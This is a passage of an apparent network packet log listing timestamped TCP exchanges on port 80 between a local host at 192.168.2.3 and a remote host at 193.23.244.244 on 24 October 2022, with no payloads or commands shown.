Oct 24, 2022 11:00:11.044636011 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044644117 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044663906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044675112 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044684887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044703960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044714928 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044723988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044742107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044753075 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044764042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044781923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044790983 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044801950 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044821024 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044827938 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044841051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044858932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044872999 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044879913 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044898987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044907093 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044919968 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044938087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044949055 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044958115 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044979095 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044985056 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044998884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045023918 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045109987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045128107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045146942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045162916 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045166016 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045186043 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045203924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045212030 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045222998 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045249939 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045269966 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045277119 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045289993 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045308113 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045325041 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045335054 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045344114 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045361996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045370102 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045403004 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045439959 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045456886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045476913 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045495987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045505047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045515060 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045535088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045542002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045555115 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045583010 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045591116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045610905 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045629025 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045636892 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045648098 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045665026 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045682907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045701027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045705080 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045716047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045751095 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045758009 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045770884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045790911 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045810938 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.045816898 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.045850992 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046025991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046056032 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046077013 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046096087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046108961 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046116114 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046127081 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046135902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046139002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046154976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046163082 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046174049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046191931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046194077 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046214104 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046214104 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046232939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046250105 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046257973 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046268940 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046286106 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046288013 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046307087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046324015 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046341896 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046359062 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046359062 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046361923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046381950 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046391964 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046400070 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046418905 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046427965 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046439886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046459913 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046464920 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046478987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046497107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046508074 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046539068 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046665907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046684980 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046703100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046721935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046736002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046742916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046762943 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046771049 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046807051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046824932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046843052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046844006 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046863079 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046880007 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046899080 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046912909 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046919107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046937943 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046957970 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046962976 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.046979904 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.046998978 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047004938 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047018051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047036886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047039986 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047055960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047075987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047076941 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047094107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047112942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047116041 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047132015 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047152042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047158957 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047169924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047188044 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047189951 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047207117 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047224045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047226906 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047244072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047261953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047265053 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047280073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047301054 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047399044 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047416925 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047436953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047451019 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047455072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047473907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047483921 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047514915 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047518969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047566891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047585964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047605038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047615051 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047624111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047641993 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047643900 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047662020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047678947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047681093 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047698975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047717094 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047717094 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047735929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047753096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047759056 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047772884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047791004 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047794104 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047808886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047831059 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047837973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047858000 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047875881 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047879934 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047894955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047914028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047919989 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047933102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047950983 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047957897 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047970057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.047990084 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.047995090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048013926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048032045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048033953 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.048052073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048070908 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.048072100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048091888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048109055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048119068 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.048122883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048144102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.048155069 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.048193932 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.055617094 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.055655956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.055671930 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.055691004 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.055704117 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.055717945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.055870056 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.055929899 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.055989027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056010962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056030035 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056052923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056072950 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056092024 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056093931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056112051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056128979 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056143999 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056148052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056173086 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056188107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056210995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056233883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056236982 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056252003 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056272030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056277990 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056292057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056312084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056313038 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056333065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056351900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056354046 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056374073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056391954 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056395054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056413889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056432962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056440115 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056453943 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056471109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056473017 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056489944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056508064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056513071 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056549072 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056701899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056720972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056739092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056756020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056773901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056785107 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056792974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056806087 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056813002 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056833029 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056850910 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056853056 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056869984 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056874037 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056890011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056906939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056925058 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056931019 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056943893 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056962013 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.056969881 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.056982040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057002068 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057010889 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057018995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057039022 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057050943 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057058096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057071924 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057077885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057096004 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057112932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057113886 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057132006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057148933 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057156086 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057168007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057179928 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057187080 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057205915 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057224035 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057224035 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057244062 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057261944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057269096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057280064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057291985 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.057297945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.057329893 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.059848070 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059870958 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059887886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059906006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059922934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059941053 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059959888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059978008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.059979916 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.060000896 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.060014009 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.060069084 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.062422037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.062449932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.062468052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.062482119 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.062494993 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.062517881 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.062536955 CEST	80	49711	193.23.244.244	192.168.2.3
